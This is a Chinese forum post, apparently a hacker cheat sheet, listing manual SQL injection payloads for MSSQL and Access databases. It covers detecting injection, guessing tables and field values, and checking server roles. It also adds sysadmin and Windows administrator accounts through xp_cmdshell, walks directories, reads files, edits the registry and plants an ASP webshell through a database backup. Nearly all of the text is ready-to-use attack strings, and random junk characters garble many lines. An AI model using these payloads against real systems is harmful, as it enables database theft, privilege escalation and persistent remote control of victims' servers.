手工脚本注入

admin

手工脚本注入
9 D0 N$ t* R6 j0 S- Z1.判断是否有注入;and 1=1 ;and 1=2
! T6 d* J$ a% I2 X4 z
2.初步判断是否是mssql ;and user>0

  h7 x5 x2 k$ X: C0 T% L3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
# O: u5 P6 b3 L: f: k
- @/ K1 ^* Y3 s5.判断数据库系统
+ P- ]/ k0 t7 L/ y0 V8 I# A  S: P9 x;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
9 @: m/ C" a& S
( T% T6 K/ v0 @0 v* M3 O) b- e9 [6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0
+ O* b# z* \$ `8 g- R3 p) i; d3 q2 ^
: e$ ~' a3 u" {6 X8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
1 W5 r) w' y% n1 R5 h; [7 d9 W$ p
' E. M2 V( f% t; b; V( Y* p9.(1)猜字段的ascii值（access）
5 }2 c0 y& Z3 W: b- ^;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 {+ j/ D9 E7 h8 B! t5 _
0 D$ [. M, y/ F" _4 w10.测试权限结构（mssql）
) t: a% ~9 _; a6 E- T# e/ d;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
, _2 V$ |2 d  G' a( t& z;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

- x3 z3 t: }+ u/ s. r6 E11.添加mssql和系统的帐户
7 F0 M) A- ]) Y# R' S0 _;exec master.dbo.sp_addlogin username;--

# G! E$ i/ m. B  P2 i* Z4 ~;exec master.dbo.sp_password null,username,password;--
$ S3 P5 ]# e6 P0 E; Q9 ^7 W
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
: Z# _0 b: i: ^4 w( o) ?5 u3 x
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
8 c8 @' I# o8 ^0 I  d2 g
;exec master.dbo.xp_cmdshell 'net user username password /add';--

;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
8 @' y/ t: I4 U& D4 y+ b
12.(1)遍历目录

;create table dirs(paths varchar(100), id int)
! `4 C8 D5 n6 m& p/ M3 w;insert dirs exec master.dbo.xp_dirtree 'c:\'
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
; Y) I: H: ]% O! Z9 y;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( q$ D/ h2 N' Z/ G( H;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

5 L; l* c* P" V" ~13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
/ X6 b& H0 Q+ h) V( X, K;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
7 ?: Q, o) U9 q6 E9 D( {" R
5 m0 @) S+ m( F, R/ P' i$ z6 l: Axp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 d7 V+ H  Z2 U
xp_regwrite 根键,子键, 值名, 值类型, 值
3 X4 ?* u* ^  r2 R9 W5 R3 S, g值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

xp_regdeletevalue 根键,子键,值名
3 j! j" L) d4 a4 q
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
1 g7 \7 ^' U) N6 _& ?+ U/ v
0 f; ]) b( w6 h% ]8 Rxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
0 G& ?! f, {' N) x7 s& U: _
14.mssql的backup创建webshell
use model
create table cmd(str image);
- I0 m6 `5 |) O9 o& binsert into cmd(str) values ('');
: y7 q! s2 i. r- B% l, {backup database model to disk='c:\l.asp';

15.mssql内置函数
1 M- N- Z0 U- X, x;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
- H( X* I  ?& k% j
- L& q" A) n" O+ H/ x0 k8 P! g16.简洁的webshell

* U- u0 V+ e9 R5 huse model

2 \2 V' Y# N5 r1 D- U7 Fcreate table cmd(str image);

insert into cmd(str) values ('');

0 Q) j, z. ?  J' u; T) Cbackup database model to disk='g:\wwwtest\l.asp';
( i$ B7 {: x2 D# a  V. y- {/ U$ t

老男孩

现在很多防注入啊，有其他注入字符码